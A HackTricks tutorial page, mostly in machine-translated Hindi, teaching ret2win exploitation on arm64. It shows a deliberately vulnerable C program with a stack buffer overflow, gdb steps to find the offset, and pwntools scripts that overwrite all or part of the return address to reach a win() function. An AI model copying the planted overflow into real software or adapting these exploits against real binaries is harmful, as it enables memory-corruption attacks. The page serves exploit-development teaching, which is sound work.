Ret2win - arm64

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

arm64 का परिचय यहाँ खोजें:

Introduction to ARM64v8

Code

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

पीआईई और कैनरी के बिना संकलित करें:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Finding the offset

Pattern option

यह उदाहरण GEF का उपयोग करके बनाया गया था:

gdb को gef के साथ स्टार्ट करें, पैटर्न बनाएं और इसका उपयोग करें:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 उस पते पर लौटने की कोशिश करेगा जो रजिस्टर x30 में है (जो समझौता किया गया था), हम इसका उपयोग पैटर्न ऑफसेट खोजने के लिए कर सकते हैं:

bash
pattern search $x30

ऑफसेट 72 है (9x48)।

स्टैक ऑफसेट विकल्प

स्टैक पते को प्राप्त करने से शुरू करें जहाँ pc रजिस्टर संग्रहीत है:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

अब read() के बाद एक ब्रेकपॉइंट सेट करें और तब तक जारी रखें जब तक read() निष्पादित न हो जाए और एक पैटर्न सेट करें जैसे 13371337:

b *vulnerable_function+28
c

इस पैटर्न को मेमोरी में खोजें:

फिर: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

नियमित

win फ़ंक्शन का पता प्राप्त करें:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

शोषण:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

वास्तव में, यह स्टैक में संग्रहीत PC में ऑफ-बाय-2 के समान होगा। सभी रिटर्न पते को ओवरराइट करने के बजाय, हम केवल अंतिम 2 बाइट्स को 0x06c4 के साथ ओवरराइट करने जा रहे हैं।

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

आप ARM64 में एक और off-by-one उदाहरण https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ में पा सकते हैं, जो एक काल्पनिक भेद्यता में वास्तविक off-by-one है।

With PIE

tip

बाइनरी को -no-pie तर्क के बिना संकलित करें

Off-by-2

बिना किसी लीक के, हमें जीतने वाले फ़ंक्शन का सटीक पता नहीं पता है, लेकिन हम बाइनरी से फ़ंक्शन का ऑफ़सेट जान सकते हैं और यह जानते हुए कि हम जो रिटर्न पता ओवरराइट कर रहे हैं, वह पहले से ही एक निकटवर्ती पते की ओर इशारा कर रहा है, इस मामले में जीतने वाले फ़ंक्शन का ऑफ़सेट (0x7d4) लीक करना संभव है और बस उस ऑफ़सेट का उपयोग करें:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें